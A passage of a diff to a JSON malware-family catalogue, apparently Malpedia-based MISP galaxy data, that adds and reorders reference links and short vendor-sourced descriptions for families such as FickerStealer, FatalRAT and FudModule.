"https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", "https://blog.malwarelab.pl/posts/nazar_eyservice/", - "https://research.checkpoint.com/2020/nazar-spirits-of-the-past/" + "https://www.epicturla.com/blog/the-lost-nazar", + "https://blog.malwarelab.pl/posts/nazar_eyservice_comm/" ], "synonyms": [], "type": [] @@ -22848,6 +24272,20 @@ "uuid": "9b287426-e82f-407e-8d12-42dac4241bf8", "value": "EYService" }, + { + "description": "Fabookie is facebook account info stealer.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.fabookie", + "https://ics-cert.kaspersky.com/publications/reports/2021/12/16/pseudomanuscrypt-a-mass-scale-spyware-attack-campaign/", + "https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1" + ], + "synonyms": [], + "type": [] + }, + "uuid": "782aa125-42ff-4ca0-b9b1-362aac08566b", + "value": "Fabookie" + }, { "description": "", "meta": { @@ -22912,10 +24350,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fanny", - "https://fmnagisa.wordpress.com/2020/08/27/revisiting-equationgroups-fanny-worm-or-dementiawheel/", - "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", - "https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/#_1", "https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/", + "https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/#_1", + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", + "https://fmnagisa.wordpress.com/2020/08/27/revisiting-equationgroups-fanny-worm-or-dementiawheel/", "https://fmmresearch.files.wordpress.com/2020/09/theemeraldconnectionreport_fmmr-2.pdf", "https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/", "https://fmmresearch.wordpress.com/2020/09/28/the-emerald-connection-equationgroup-collaboration-with-stuxnet/" @@ -22925,20 +24363,11 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "1e25d254-3f03-4752-b8d6-023a23e7d4ae", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "6d441619-c5f5-45ff-bc63-24cecd0b237e", "value": "Fanny" }, { - "description": "", + "description": "According to PCrisk, Fantom is a ransomware-type virus that imitates the Windows update procedure while encrypting files. This is unusual, since most ransomware encrypts files stealthily without showing any activity. During encryption, Fantom appends the names of encrypted files with the \".locked4\", \".fantom\" or \".locked\" extension.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fantomcrypt", @@ -22955,9 +24384,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.farseer", + "https://unit42.paloaltonetworks.com/farseer-previously-unknown-malware-family-bolsters-the-chinese-armoury/", "https://unit42.paloaltonetworks.com/pkplug_chinese_cyber_espionage_group_attacking_asia/", - "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-pulling-pkplug-adversary-playbook-long-standing-espionage-activity-chinese-nation-state-adversary/", - "https://unit42.paloaltonetworks.com/farseer-previously-unknown-malware-family-bolsters-the-chinese-armoury/" + "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-pulling-pkplug-adversary-playbook-long-standing-espionage-activity-chinese-nation-state-adversary/" ], "synonyms": [], "type": [] @@ -22982,11 +24411,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fast_pos", - "https://www.justice.gov/opa/pr/malware-author-pleads-guilty-role-transnational-cybercrime-organization-responsible-more-568", "https://blog.trendmicro.com/trendlabs-security-intelligence/fastpos-updates-in-time-for-retail-sale-season/", "http://documents.trendmicro.com/assets/fastPOS-quick-and-easy-credit-card-theft.pdf", - "https://blog.trendmicro.com/trendlabs-security-intelligence/fastpos-quick-and-easy-credit-card-theft/", - "http://documents.trendmicro.com/assets/Appendix%20-%20FastPOS%20Updates%20in%20Time%20for%20the%20Retail%20Sale%20Season.pdf" + "http://documents.trendmicro.com/assets/Appendix%20-%20FastPOS%20Updates%20in%20Time%20for%20the%20Retail%20Sale%20Season.pdf", + "https://www.justice.gov/opa/pr/malware-author-pleads-guilty-role-transnational-cybercrime-organization-responsible-more-568", + "https://blog.trendmicro.com/trendlabs-security-intelligence/fastpos-quick-and-easy-credit-card-theft/" ], "synonyms": [], "type": [] @@ -22995,14 +24424,14 @@ "value": "FastPOS" }, { - "description": "", + "description": "According to PCrisk, FatalRAT is the name of a Remote Access Trojan (RAT). A RAT is a type of malware that allows the attacker to remotely control the infected computer and use it for various purposes.\r\n\r\nTypically, RATs are used to access files and other data, watch computing activities on the screen and capture screenshots, steal sensitive information (e.g., login credentials, credit card details).\r\n\r\nThere are many legitimate remote administration/access tools on the Internet. It is common that cybercriminals use those tools with malicious intent too.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fatal_rat", - "https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html", "https://www.youtube.com/watch?v=gjvnVZc11Vg", - "https://www.trendmicro.com/en_us/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html", - "https://cybersecurity.att.com/blogs/labs-research/new-sophisticated-rat-in-town-fatalrat-analysis" + "https://cybersecurity.att.com/blogs/labs-research/new-sophisticated-rat-in-town-fatalrat-analysis", + "https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html", + "https://www.trendmicro.com/en_us/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html" ], "synonyms": [], "type": [] @@ -23024,6 +24453,19 @@ "uuid": "4325c84b-9a9b-4e7c-977f-20d7ae817b7e", "value": "FatDuke" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.fauppod", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e363918a-92ec-49c0-b3b2-1d339200417b", + "value": "Fauppod" + }, { "description": "Ransomware.", "meta": { @@ -23055,8 +24497,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.felixroot", - "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html", "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf", + "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", "https://medium.com/@Sebdraven/when-a-malware-is-more-complex-than-the-paper-5822fc7ff257" ], "synonyms": [], @@ -23083,10 +24526,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.feodo", - "https://feodotracker.abuse.ch/", "http://www.sempersecurus.org/2012/08/cridex-analysis-using-volatility.html", - "https://en.wikipedia.org/wiki/Maksim_Yakubets", "http://contagiodump.blogspot.com/2012/08/cridex-analysis-using-volatility-by.html", + "https://en.wikipedia.org/wiki/Maksim_Yakubets", + "https://feodotracker.abuse.ch/", "https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/" ], "synonyms": [ @@ -23095,20 +24538,11 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "372cdc12-d909-463c-877a-175f97f7abb5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "66781866-f064-467d-925d-5e5f290352f0", "value": "Feodo" }, { - "description": "", + "description": "According to PCrisk, FFDroider is a malicious program classified as a stealer. It is designed to extract and exfiltrate sensitive data from infected devices. FFDroider targets popular social media and e-commerce platforms in particular.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ffdroider", @@ -23122,19 +24556,19 @@ "value": "FFDroider" }, { - "description": "", + "description": "According to CyberArk, this malware is used to steal sensitive information, including login credentials, credit card information, cryptocurrency wallets and browser information from applications such as WinSCP, Discord, Google Chrome, Electrum, etc. It does all that by implementing a different approach than other stealers (we’ll cover it later). Additionally, FickerStealer can function as a File Grabber and collect additional files from the compromised machine, and it can act as a Downloader to download and execute several second-stage malware.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fickerstealer", - "https://www.bleepingcomputer.com/news/security/fake-microsoft-store-spotify-sites-spread-info-stealing-malware/", - "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", - "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", - "https://blogs.blackberry.com/en/2021/08/threat-thursday-ficker-infostealer-malware", "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", - "https://www.cyberark.com/resources/threat-research-blog/fickerstealer-a-new-rust-player-in-the-market", "https://twitter.com/3xp0rtblog/status/1321209656774135810", - "https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf" + "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", + "https://blogs.blackberry.com/en/2021/08/threat-thursday-ficker-infostealer-malware", + "https://www.cyberark.com/resources/threat-research-blog/fickerstealer-a-new-rust-player-in-the-market", + "https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", + "https://www.bleepingcomputer.com/news/security/fake-microsoft-store-spotify-sites-spread-info-stealing-malware/", + "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus" ], "synonyms": [], "type": [] @@ -23160,8 +24594,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.filerase", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail" + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems" ], "synonyms": [], "type": [] @@ -23188,8 +24622,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.findpos", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://blogs.cisco.com/security/talos/poseidon", - "https://researchcenter.paloaltonetworks.com/2015/03/findpos-new-pos-malware-family-discovered/" + "https://researchcenter.paloaltonetworks.com/2015/03/findpos-new-pos-malware-family-discovered/", + "https://blogs.cisco.com/security/talos/poseidon" ], "synonyms": [ "Poseidon" @@ -23204,27 +24638,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.finfisher", - "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/", - "https://securelist.com/finspy-unseen-findings/104322/", - "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/", - "http://www.msreverseengineering.com/blog/2018/1/23/a-walk-through-tutorial-with-code-on-statically-unpacking-the-finspy-vm-part-one-x86-deobfuscation", - "https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-3-fixing-the-function-related-issues", - "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf", - "https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-2-first-attempt-at-devirtualization", "https://www.msreverseengineering.com/blog/2018/2/21/finspy-vm-unpacking-tutorial-part-3-devirtualization", - "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-4-second-attempt-at-devirtualization", - "https://artemonsecurity.blogspot.de/2017/01/finfisher-rootkit-analysis.html", - "https://www.msreverseengineering.com/blog/2018/2/21/wsbjxrs1jjw7qi4trk9t3qy6hr7dye", - "https://www.codeandsec.com/FinFisher-Malware-Analysis-Part-2", - "https://github.com/RolfRolles/FinSpyVM", - "https://www.binarly.io/posts/Design_issues_of_modern_EDR%E2%80%99s_bypassing_ETW-based_solutions/index.html", - "https://www.welivesecurity.com/2017/09/21/new-finfisher-surveillance-campaigns/", + "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/", "https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html", + "https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-3-fixing-the-function-related-issues", + "http://www.msreverseengineering.com/blog/2018/1/23/a-walk-through-tutorial-with-code-on-statically-unpacking-the-finspy-vm-part-one-x86-deobfuscation", + "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.codeandsec.com/FinFisher-Malware-Analysis-Part-2", + "https://netzpolitik.org/2022/nach-pfaendung-staatstrojaner-hersteller-finfisher-ist-geschlossen-und-bleibt-es-auch/", + "https://www.msreverseengineering.com/blog/2018/2/21/wsbjxrs1jjw7qi4trk9t3qy6hr7dye", + "https://artemonsecurity.blogspot.de/2017/01/finfisher-rootkit-analysis.html", + "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/", - "https://securelist.com/apt-trends-report-q2-2019/91897/" + "https://www.binarly.io/posts/Design_issues_of_modern_EDR%E2%80%99s_bypassing_ETW-based_solutions/index.html", + "https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-4-second-attempt-at-devirtualization", + "https://github.com/RolfRolles/FinSpyVM", + "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/", + "https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-2-first-attempt-at-devirtualization", + "https://www.welivesecurity.com/2017/09/21/new-finfisher-surveillance-campaigns/", + "https://securelist.com/finspy-unseen-findings/104322/" ], "synonyms": [ "FinSpy" @@ -23244,15 +24679,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "968df869-7f60-4420-989f-23dfdbd58668", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "9ad28356-184c-4f02-89f5-1b70981598c3", "value": "Fireball" }, @@ -23306,15 +24732,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "6ef11b6e-d81a-465b-9dce-fab5c6fe807b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "9715c6bc-4b1e-49a2-b1d8-db4f4c4f042c", "value": "FireMalv" }, @@ -23337,6 +24754,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fishmaster", "https://media-exp1.licdn.com/dms/document/C561FAQHhWFRcWmdCPw/feedshare-document-pdf-analyzed/0/1639591145314?e=1658966400&v=beta&t=_uCcyEVg6b_VDiBTvWQIXtBOdQ1GQAAydqGyq62KA3E", + "https://speakerdeck.com/aragorntseng/winnti-is-coming-evolution-after-prosecution-at-hitcon2021", "https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass/" ], "synonyms": [ @@ -23352,18 +24770,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fivehands", - "https://www.crowdstrike.com/blog/new-ransomware-variant-uses-golang-packer/", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", "https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126b", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue", - "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://www.cisa.gov/uscert/ncas/alerts/aa22-249a", - "https://www.bleepingcomputer.com/news/security/yanluowang-ransomware-operation-matures-with-experienced-affiliates/", - "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html" + "https://www.crowdstrike.com/blog/new-ransomware-variant-uses-golang-packer/", + "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", + "https://www.bleepingcomputer.com/news/security/yanluowang-ransomware-operation-matures-with-experienced-affiliates/" ], "synonyms": [ "Thieflock" @@ -23378,11 +24796,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.flagpro", - "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech", "https://cyberandramen.net/2021/12/12/more-flagpro-more-problems/", + "https://insight-jp.nttsecurity.com/post/102h7vx/blacktechflagpro", + "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech", "https://vblocalhost.com/uploads/VB2021-50.pdf", "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_8_hara_en.pdf", - "https://insight-jp.nttsecurity.com/post/102h7vx/blacktechflagpro" + "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf" ], "synonyms": [ "BUSYICE" @@ -23397,28 +24816,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.flame", - "https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache", - "https://www.crysys.hu/publications/files/skywiper.pdf", "https://securelist.com/the-flame-questions-and-answers-51/34344/", - "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", - "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", "https://storage.googleapis.com/chronicle-research/Flame%202.0%20Risen%20from%20the%20Ashes.pdf", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments" + "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", + "https://github.com/juanandresgs/papers/raw/master/Flame%202.0%20Risen%20from%20the%20Ashes.pdf", + "https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache", + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", + "https://www.crysys.hu/publications/files/skywiper.pdf" ], "synonyms": [ "sKyWIper" ], "type": [] }, - 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"related": [ - { - "dest-uuid": "c7e7063b-b2a2-4046-8a19-94dea018eaa0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "8378b417-605e-4196-b31f-a0c96d75aa50", "value": "Formbook" }, @@ -23738,8 +25141,8 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.former_first_rat", "https://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/", "https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies", - "https://unit42.paloaltonetworks.com/atoms/shallowtaurus/", "https://threatvector.cylance.com/en_us/home/breaking-down-ff-rat-malware.html", + "https://unit42.paloaltonetworks.com/atoms/shallowtaurus/", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/" ], "synonyms": [ @@ -23795,9 +25198,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.freenki", "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/", - "http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", + "https://www.trendmicro.com/en_us/research/20/l/who-is-the-threat-actor-behind-operation-earth-kitsune-.html", "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", - "https://www.trendmicro.com/en_us/research/20/l/who-is-the-threat-actor-behind-operation-earth-kitsune-.html" + "http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" ], "synonyms": [], "type": [] @@ -23810,38 +25213,39 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.friedex", - "https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/", - "https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/everis-bitpaymer-ransomware-attack-analysis-dridex/", - "https://www.bleepingcomputer.com/news/security/doppelpaymer-ransomware-launches-site-to-post-victims-data/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://www.bleepingcomputer.com/news/security/doppelpaymer-ransomware-launches-site-to-post-victims-data/", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://www.armor.com/resources/threat-intelligence/the-evolution-of-doppel-spider-from-bitpaymer-to-grief-ransomware/", "https://blog.trendmicro.com/trendlabs-security-intelligence/account-with-admin-privileges-abused-to-install-bitpaymer-ransomware-via-psexec", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/", "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/", - "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", + "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://www.secureworks.com/research/threat-profiles/gold-drake", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/", "https://sites.temple.edu/care/ci-rw-attacks/", - "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://lka.polizei.nrw/presse/schlag-gegen-international-agierendes-netzwerk-von-cyber-kriminellen", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks/", - "http://www.secureworks.com/research/threat-profiles/gold-drake", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/", - "https://www.armor.com/resources/threat-intelligence/the-evolution-of-doppel-spider-from-bitpaymer-to-grief-ransomware/", - "https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", + "https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/", + "http://www.secureworks.com/research/threat-profiles/gold-drake", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-drake", - "https://killingthebear.jorgetesta.tech/actors/evil-corp" + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/", + "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/everis-bitpaymer-ransomware-attack-analysis-dridex/", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp" ], "synonyms": [ "BitPaymer", @@ -23853,6 +25257,23 @@ "uuid": "58ae14a9-c4aa-490c-8404-0eb590f5650d", "value": "FriedEx" }, + { + "description": "FudModule is a user-mode DLL that gets the ability to read and write arbitrary kernel memory via the BYOVD technique. Its main goal is to turn off Windows system monitoring features, which is done by modifying kernel variables and removing kernel callbacks. Its actions may very likely affect various types of security products, e.g. EDRs, firewalls, antimalware and even digital forensics tools.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.fudmodule", + "https://asec.ahnlab.com/wp-content/uploads/2022/09/Analysis-Report-on-Lazarus-Groups-Rootkit-Attack-Using-BYOVD_Sep-22-2022.pdf", + "https://securityintelligence.com/posts/direct-kernel-object-manipulation-attacks-etw-providers/", + "https://securityintelligence.com/posts/defensive-considerations-lazarus-fudmodule/", + "https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2022/papers/VB2022-Lazarus-and-BYOVD-evil-to-the-Windows-core.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "49b53f39-3e13-48e7-a2e3-5e173af343b3", + "value": "FudModule" + }, { "description": "Fujinama is a custom VB info stealer capable to execute custom commands and custom exfiltrations, keylogging and screenshot. It was involved in the compromise of Leonardo SpA, a major Italian aerospace and defense company.", "meta": { @@ -23871,10 +25292,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.funnyswitch", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", + "https://speakerdeck.com/aragorntseng/winnti-is-coming-evolution-after-prosecution-at-hitcon2021", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/#id5-2", - "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf" + "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", + 